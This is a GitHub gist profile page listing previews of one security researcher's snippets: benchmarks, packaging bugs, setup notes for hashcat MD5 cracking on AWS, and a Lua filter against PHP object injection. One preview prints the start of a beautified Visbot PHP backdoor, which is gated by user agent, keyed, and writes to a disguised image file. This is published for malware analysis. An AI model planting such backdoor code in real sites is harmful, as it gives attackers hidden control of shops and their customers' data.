Skip to content

Instantly share code, notes, and snippets.

View gwillem's full-sized avatar
💫

Willem de Groot gwillem

💫
View GitHub Profile
@gwillem
gwillem / replace-whitespace.py
Created January 20, 2017 14:36
python string replace benchmark
import time
import re
import string
src = '_ ' * 2**20 # 2MB
whitespacere = re.compile('\s')
def replace():
@gwillem
gwillem / blackfire-debian-logrotate-bug.md
Created January 15, 2017 11:42
Blackfire packaging is broken for at least 1.9.1 - 1.9.2
$ dpkg-query --show blackfire-agent
blackfire-agent	1.9.2

$ cat /etc/logrotate.d/blackfire-agent 
/var/log/blackfire/agent.log {
    su blackfire blackfire
    rotate 7
    daily
 missingok

Keybase proof

I hereby claim:

  • I am gwillem on github.
  • I am gwillem (https://keybase.io/gwillem) on keybase.
  • I have a public key whose fingerprint is 2B1C C038 1DBE 3028 824E A71C 4EAD 1DBB 8B16 52B7

To claim this, I am signing this object:

# boot clean precise 12.04 instance
# Add universe upstream sources to apt/sources.list:
deb-src http://mirrors.digitalocean.com/ubuntu xenial universe
apt-get update
apt-get source yara

apt-get install python3 python3.2 python3-minimal
@gwillem
gwillem / iso2_population.json
Created December 30, 2016 15:30
Population per country json (2 char ISO codes), parsed from http://download.geonames.org/export/dump/countryInfo.txt
{
"AD": "84000",
"AE": "4975593",
"AF": "29121286",
"AG": "86754",
"AI": "13254",
"AL": "2986952",
"AM": "2968000",
"AN": "300000",
"AO": "13068161",
#!/bin/bash
set -e
echo
echo "Running pre-commit hooks to perform unit tests (see tools/git-*)"
function finish {
OVERRIDE="$BASE/.git-commit-override-jaja"
echo
@gwillem
gwillem / aws-ec-p2.xlarge-hashcat.md
Created December 15, 2016 23:46
Get an AWS EC2 p2.xlarge ready for hashcat MD5 cracking!
ssh -i keyfile.pem ubuntu@<ip>

sudo apt -y update && sudo apt -y upgrade
sudo apt install -y p7zip-full build-essential linux-image-extra-virtual linux-source

echo options nouveau modeset=0 | sudo tee -a /etc/modprobe.d/nouveau-kms.conf
sudo update-initramfs -u

# to activate latest kernel
@gwillem
gwillem / visbot-beautified.php
Last active August 3, 2017 08:18
visbot-beautified.php
<?PHP
$y0 = '/var/www/vhosts/redacted.nl/httpdocs/skin/adminhtml/default/default/images/left_button_back.gif';
$m1 = '1382961301';
$k2 = 'pa89785e';
$k3 = "-----BEGIN PUBLIC KEY-----\nMIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFiKhzEGVUxLdkdAPmTVH74QwWBk\n0cDppNX3n0fmVZyBPcYZ5YIbEeSLIOCXKb5xT/ZrwYyk13jMIho9WPlLRJdxT2Rj\nbcMvXszvWBwh1lCovrl6/kulIq5ZcnDFdlcKzW2PR/19+gkKhRGk1YUXMLgw6EFj\nj2c1LJoSpnzk8WRFAgMBAAE=\n-----END PUBLIC KEY-----";
if (@$_SERVER['HTTP_USER_AGENT'] == 'Visbot/2.0 (+http://www.visvo.com/en/webmasters.jsp;bot@visvo.com)') {
if (isset($_GET[$k2])) {
$m1 = file_exists($y0) ? @filemtime($y0) : $m1;
@file_put_contents($y0, '');
@touch($y0, $m1, $m1);
This file has been truncated, but you can view the full file.
#!/bin/bash
# Patch apllying tool template
# v0.1.2
# (c) Copyright 2013. Magento Inc.
#
# DO NOT CHANGE ANY LINE IN THIS FILE.
# 1. Check required system tools
_check_installed_tools() {
local missed=""
@gwillem
gwillem / nginx-lua-php-poi-filtering.md
Created September 2, 2016 12:39
nginx-lua-php-poi-filtering

The following LUA snippet can be used to filter PHP serialized objects (POI attack).

function when_nullbyte(str, proc)
  if string.find(str, '%%00') then
    proc()
  end
end